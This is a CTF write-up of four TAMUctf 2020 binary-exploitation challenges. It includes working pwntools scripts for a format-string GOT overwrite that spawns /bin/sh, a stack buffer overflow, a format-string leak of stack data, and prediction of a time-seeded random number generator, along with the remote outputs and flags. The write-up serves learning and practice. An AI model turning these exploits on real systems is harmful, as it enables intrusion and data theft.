Tamu 2020 pwnable writeups
Those are some of the pwn challenges I solved during ‘tamu’ ctf
B64DECODER
BBPWN
ECHO_AS_A_SERVICE
TROLL
B64DECODER
Binary Explotation, 244 points
Description
We put together a demo for our high performance computing server. Why don’t you check it out? b64decoder libc.so.6
We’ll check the binary protections using checksec
of pwntools
.
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE$ checksec b64decoder
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE/b64decoder'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Lets run the program:
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE$ ./b64decoder
Base64 is an encoding that represents binary data in ASCII string format.
Each number from 0 to 63 is mapped to an ASCII character. For example, 'z' is 63
Base64 Decoder: Powered by a64l (0xf7dc18a0)
Enter your name!
bloop
Welcome, bloop
Please enter input to be decoded:
bloop
903040103
Please enter input to be decoded:
bloop
903040103
Please enter input to be decoded:
^C
Were asked to enter our name, after entering the name we enter a loop and are asked to enter a value that will decoded from base64
Vulnerability
The vulnerability is format string In line 23
Solution
My initial thought about exploiting the program was this:
- Overwrite a
GOT entrance
withmain function
so we we’ll have infinite number offormat string
- Leak a libc address, possibly main’s return address and calculate libc base
- Overwrite a
GOT entrance
with aone gadget
from libc
However, while writing the exploit I had difficulties with the last stage, it seemed that the payload was too large for the buffer which is 32 bytes :(
After that i thought some time and got a different plan
- Overwrite a
GOT entrance
withmain function
so we we’ll have infinite number offormat string
- Overwrite
fgets
GOT entrance withsystem
I decided to overwrite fgets
because her first parameter is the buffer which we control which means we can insert /bin/sh;
at the start of our payload
Lets start with the first stage
First we need to know which function we intend to overwrite, it cant be before the vulnerable printf, were left with putchar
Now we need to get the offset for our buffer, lets debug and put a breakpoint at the call to the vulnerable printf
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE$ gdb -q b64decoder
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6
[*] 1 command could not be loaded, run `gef missing` to know why.
Reading symbols from b64decoder...(no debugging symbols found)...done.
gef➤ b* main+201
Breakpoint 1 at 0x804928b
Now run the program using r
and input the buffer with our favorite input AAAAAAAA
so we’ll know the hex charecters to recognize plus the trigger for the vulnerability ` %p %p %p %p %p %p %p %p`
Lets print the stack next 100 words starting from the esp
using x/100wx $esp
gef➤ x/100wx $esp
0xffffcf60: 0xffffd07c 0x00000020 0xf7fb85c0 0x080491dc --> first thing we leaked -- 0x20
0xffffcf70: 0xf7fdf289 0x0000093c 0xf7de3e54 0xf63d4e2e
0xffffcf80: 0xf7fd0110 0xf7fdf73d 0x00000001 0x00000001
0xffffcf90: 0xf7ded438 0x0000093c 0xf7dedcc8 0xf7fd0110
0xffffcfa0: 0xffffcff4 0xffffcff0 0x00000003 0x00000000
0xffffcfb0: 0xf7ffd000 0xf7dedcc8 0xf7de4012 0xf7ded438
0xffffcfc0: 0xf63d4e2e 0x08048314 0x07b1ea71 0xffffd074
0xffffcfd0: 0xffffcff4 0xf7fd03e0 0x00000000 0x00000000
0xffffcfe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffcff0: 0x00000000 0x00000000 0x000000c2 0x00001fff
0xffffd000: 0xf7fdf409 0xf63d4e2e 0xf7ffdaf8 0xffffd07c
0xffffd010: 0x00000000 0xf7fdff9b 0x08048260 0xffffd07c
0xffffd020: 0xf7ffda9c 0x00000001 0xf7fd0410 0x00000001
0xffffd030: 0x00000000 0x00000001 0xf7ffd940 0x000000c2
0xffffd040: 0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffd050: 0x00000000 0x00000000 0x00000000 0x93b1b300
0xffffd060: 0x0000000a 0xffffd304 0xf7e104a9 0xf7fbb748
0xffffd070: 0xf7fb8000 0xf7fb8000 0x00000000 0x41414141 --> our AAAA is 0x41414141
0xffffd080: 0x41414141 0x20702520 0x25207025 0x70252070
0xffffd090: 0x20702520 0x25207025 0x00252070 0x0804934d
0xffffd0a0: 0xffffd0c0 0x00000000 0x00000000 0xf7df8e81
0xffffd0b0: 0xf7fb8000 0xf7fb8000 0x00000000 0xf7df8e81
0xffffd0c0: 0x00000001 0xffffd154 0xffffd15c 0xffffd0e4
0xffffd0d0: 0x00000001 0x00000000 0xf7fb8000 0xf7fe575a
0xffffd0e0: 0xf7ffd000 0x00000000 0xf7fb8000 0x00000000
Continue the run using c
and look at the output
gef➤ c
Continuing.
Welcome, AAAAAAAA 0x20 0xf7fb85c0 0x80491dc 0xf7fdf289 0x93c 0xf7de3e54 0xf63d4e2e
So our first and second word are 0x20 and 0xf7fb85c0 respectivley, if well count until our buffer well get 71, so our offset is 71
Now, I decided to overwrite putchar@got
with main+68
using fmtstr
from pwntools
buffer_offset = 71
putchar_got = e.got['putchar']
main_address = e.sym['main'] + 68
payload = fmtstr_payload(buffer_offset, {putchar_got: main_address}, write_size='long')
Great, now every time we will get to putchar
we’ll jump to main :)
Next we want a payload that will overwrite fgets@got
with system
and will start with /bin/sh;
.
So we know that the start are eight bytes of /bin/sh;
payload = ''
payload += '/bin/sh;'.ljust(8)
Next we’ll put the address we want to overwrite which is fgets@got
fgets_got = e.got['fgets']
payload += p32(fgets_got)
Now we’ll write data in the size of the address we want to put instead fgets@got
, Its important to see that we cant partial overwrite in two or three times because we pass by fgets
in every iteration in the loop we created so if we’ll partial overwrite the program will crash
buffer_offset = 76
system = e.sym['system']
payload += '%{}${}p'.format(buffer_offset + 2, system - len(payload))
Also important is to see that we already printed some characters so we need to remove them from the size of the address, hence the system - len(payload)
.
We could have putten every offset at the start, doesn’t matter, we added 2 because 77 is the offset of the /bin/sh
(can be seen threw debugging, like the first time) so + 8 chars(len of /bin/sh) which is 2 words.
Next, the write itself, well put the offset of our address fgets
that we wrote to the buffer and the specifier %n
payload += '%{}$n'.format(buffer_offset)
And the payload is ready, on my computer the exploit takes a couple of minutes to finish, because we need to print allot of characters to the screen
from pwn import *
import sys
context.clear(os='linux')
__author__ = 'yuvaly0'
argv = sys.argv
binary_path = './b64decoder'
REMOTE = False
DEBUG = False
if len(argv) > 1:
if argv[1] == 'remote':
REMOTE = True
if argv[1] == 'debug':
DEBUG = True
if REMOTE:
sh = remote('challenges.tamuctf.com', 2783)
else:
sh = process([binary_path])
if DEBUG:
gdb.attach(sh, '''
b* main+201
b* main+206
''')
e = ELF(binary_path)
# ------------- plan -----------
# overwrite putchar@got with main's address
# overwrite fgets@got with system
# first level
buffer_offset = 71
putchar_got = e.got['putchar']
main_address = e.sym['main'] + 68
log.info('putchar@got: {}'.format(hex(putchar_got)))
log.info('main\'s address: {}'.format(hex(main_address)))
log.info('fgets@got: {}'.format(hex(e.got['fgets'])))
log.info('system: {}'.format(hex(e.sym['system'])))
payload = fmtstr_payload(buffer_offset, {putchar_got: main_address}, write_size='long')
sh.sendlineafter('Enter your name! \n', payload)
log.progress('Overwriting putchar@got with main+68')
# second level
buffer_offset = 76
system = e.sym['system']
fgets_got = e.got['fgets']
payload = ''
payload += '/bin/sh;'.ljust(8)
payload += p32(fgets_got)
payload += '%{}${}p'.format(buffer_offset + 2, system - len(payload))
payload += '%{}$n'.format(buffer_offset + 2)
sh.sendlineafter('Enter your name! \n', payload)
sh.interactive()
Output:
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 2783: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/B64DECODER_DONE/b64decoder'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] putchar@got: 0x804b3c0
[*] main's address: 0x8049206
[*] fgets@got: 0x804b3b0
[*] system: 0x8049070
[o] Overwriting putchar@got with main+68
...
...
...
Enter your name!
$ ls
b64decoder
flag.txt
start.sh
$ cat flag.txt
gigem{b1n5h_1n_b45364?}
Flag: gigem{b1n5h_1n_b45364?}
BBPWN
Binary Explotation, 50 points
Description
Welcome to pwnland! bbpwn
We’ll check the binary protections, using checksec
.
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE$ checksec bbpwn
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE/bbpwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Hm, looks like he has all of his protections enabled, lets run the binary and see what were dealing with
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE$ ./bbpwn
Enter a string: bloop
The string "bloop" is lame.
Were prompt with an input to enter a string, after that its being printed, could it be format string
? Lets reverse the binary and take a look at the assembly
Vulnerability
The vulnerability is stack buffer overflow
Solution
We got a bof, but looks like the program compares a variable to 0x1337BEEF
and if its equal it jumps to the read_flag
function, thats what we want!
So, we want to overflow the buffer in order to write 0x1337BEEF
to var_10
, lets take a look at the diffrence on the stack
Our string is s
which it at -30h, The variable we intend to overwrite is at -10h. The diffrence is 0x20, Lets try trigger the vulnerabilty
from pwn import *
import sys
context.clear(os='linux')
__author__ = 'yuvaly0'
argv = sys.argv
binary_path = './bbpwn'
REMOTE = False
DEBUG = False
if len(argv) > 1:
if argv[1] == 'remote':
REMOTE = True
if argv[1] == 'debug':
DEBUG = True
if REMOTE:
sh = remote('challenges.tamuctf.com', 4252)
else:
sh = process([binary_path])
if DEBUG:
gdb.attach(sh, '''
b* main+103
''')
e = ELF(binary_path)
# ------------- plan -----------
# overwrite variable using bof
overflow_offset = 32
value_we_want = 0x1337BEEF
payload = fit({
overflow_offset: value_we_want
})
sh.sendlineafter('Enter a string: ', payload)
print sh.recvline()
Output:
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 4252: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/BBPWN_DONE/bbpwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Congratulations. Your string is not lame. Here you go: gigem{0per4tion_skuld_74757474757275}
Flag: gigem{0per4tion_skuld_74757474757275}
ECHO_AS_A_SERVICE
Binary Explotation, 50 points
Description
Echo as a service (EaaS) is going to be the newest hot startup! We’ve tapped a big market: Developers who really like SaaS. echoasaservice
We’ll check the program protections, using checksec
.
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ checksec echoasaservice
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE/echoasaservice'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Hm, so NX and PIE are enabled and no canary, from first look looks like we we’ll need to leak some address so probably format string
and possibly buffer overflow
since the absence of a canary.
Lets run the program
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ ./echoasaservice
Echo as a service (EaaS)
bloop
bloop
Echo as a service (EaaS)
blip
blip
Echo as a service (EaaS)
^C
Looks like the program takes input in a while True
and print’s it, next step will be to reverse the program
Vulnerability
The vulnerability is a stack buffer overflow and format string
The program reads the flag and stores it on a buffer that is in the stack.
Because only rdi
is initialized which means that there is only one parameter for printf
.
System V amd64 calling convention
Solution
We we’ll try to use the format string and leak the flag that is on the stack :)
Firstly I tried to just used %s multiple times hoping the flag will pop up sometime but when I reached the eighth element on the stack I got Segmentation fault
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ ./echoasaservice
Echo as a service (EaaS)
%8$s
Segmentation fault (core dumped)
Looks weird, I created a fake flag.txt
file and initialized it with AAAAAAAAAAAAAAA
so i could recognize the 0x41414141 if i will leak it.
echo 'AAAAAAAAAAAAAAA' > flag.txt
Lets try again, but with %p
so will see some hex
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ ./echoasaservice
Echo as a service (EaaS)
%8$p
0x4141414141414141
Nice, we reached our flag, now we need to leak it all, looking at the assembly we can see that the length of the flag is 0x19
, the second parameter to fgets
, so if the eighth element on the stack is the first eight characters of our flag (eight because our architecture is amd64) so we will need the ninth and tenth element as well, together with the null byte at the end of the flag its 25 bytes.
Lets write something that will leak for us:
for i in xrange(8, 11):
sh.sendlineafter('Echo as a service (EaaS)\n', '%{}$p'.format(i))
print sh.recvline()[2:-1]
Output:
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 4251: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE/echoasaservice'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
61337b6d65676967
616d7230665f7973
7d316e6c75765f74
Now we’ll decode
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 4251: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE/echoasaservice'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
a3{megig
amr0f_ys
}1nluv_t
Looks like we got the flag :), but every part is reversed, lets reverse and concat
from pwn import *
import sys
context.clear(arch='amd64', os='linux')
__author__ = 'yuvaly0'
argv = sys.argv
binary_path = './echoasaservice'
REMOTE = False
DEBUG = False
if len(argv) > 1:
if argv[1] == 'remote':
REMOTE = True
if argv[1] == 'debug':
DEBUG = True
if REMOTE:
sh = remote('challenges.tamuctf.com', 4251)
else:
sh = process([binary_path])
if DEBUG:
gdb.attach(sh, '''
b* main
''')
e = ELF(binary_path)
# ------------- plan -----------
# use format string to leak the flag
flag = ''
for i in xrange(8, 11):
sh.sendlineafter('Echo as a service (EaaS)\n', '%{}$p'.format(i))
flag += sh.recvline()[2:-1].decode('hex')[::-1]
log.success(flag)
Output:
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE$ python exploit.py remote
[+] Opening connection to challenges.tamuctf.com on port 4251: Done
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/ECHO_AS_A_SERVICE_DONE/echoasaservice'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] gigem{3asy_f0rmat_vuln1}
Flag: gigem{3asy_f0rmat_vuln1}
TROLL
Binary Explotation, 50 points
Description
There’s a troll who thinks his challenge won’t be solved until the heat death of the universe. troll
Well check the program mitigations using checksec
of pwntools
.
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/TROLL_DONE$ checksec troll
[*] '/home/yuvaly0/Desktop/ctf_not_git/2020_tamu/TROLL_DONE/troll'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Lets run the program:
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/TROLL_DONE$ ./troll
Who goes there?
bloop
Welcome to my challenge, bloop. No one has ever succeeded before. Will you be the first?
I am thinking of a number from 1-100000. What is it?
12
You have failed. Goodbye.
Firstly the program asks us to answer the question Who goes there? and then asks us to guess the number she generates. In most of the challenges with guessing a number there is a Predictable RNG(Random Number Generator)
so well keep an eye to search for that.
Vulnerability
The vulnerability is a Predictable RNG(Random Number Generator)
Once you decompile the binary you can see:
At line 20, the program determines the seed (srand) of the rand function using the current time, after that it calls rand(line 33) to get a “random” number, after you’ve guessed a hundred numbers correctly you get the flag :)
There is also a stack buffer overflow in line 17, but knowing that the PIE
mitigation is on, that wont help us unless we we’ll get a leak.
Solution
Because the program determines the seed only once we can predict all the numbers she calculates, lets write a C
program to do that, we want here at first to give a basic string or basicly anything to answer the question Who goes there?, after that we want to set a seed based on the current time and calculate using random
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
const char* __author__ = "yuvaly0";
int main ()
{
printf("%d\n", 100);
int i;
srand(time(0));
for (i = 0; i <= 99; ++i)
{
printf("%d\n", rand() % 100000 + 1);
}
return 0;
}
The first printf is to answer the question
Now, lets compile using gcc:
gcc -O solve solve.c
And run :)
yuvaly0@yuvalyo-blup:~/Desktop/ctf_not_git/2020_tamu/TROLL_DONE$ ./solve | nc challenges.tamuctf.com 4765
Who goes there?
Welcome to my challenge, 100. No one has ever succeeded before. Will you be the first?
I am thinking of a number from 1-100000. What is it?
Impressive.
I am thinking of a number from 1-100000. What is it?
Impressive.
...
...
...
You've guessed all of my numbers. Here is your reward.
gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!}
One thing i got stuck on was that localy the program ran and i got the flag but when I tried it on the remote machine it failed, it was because I’m on a diffrent time zone then the machine, after checking in the ctf discord the time zone i was able to set my machine accordingly.
Flag: gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!}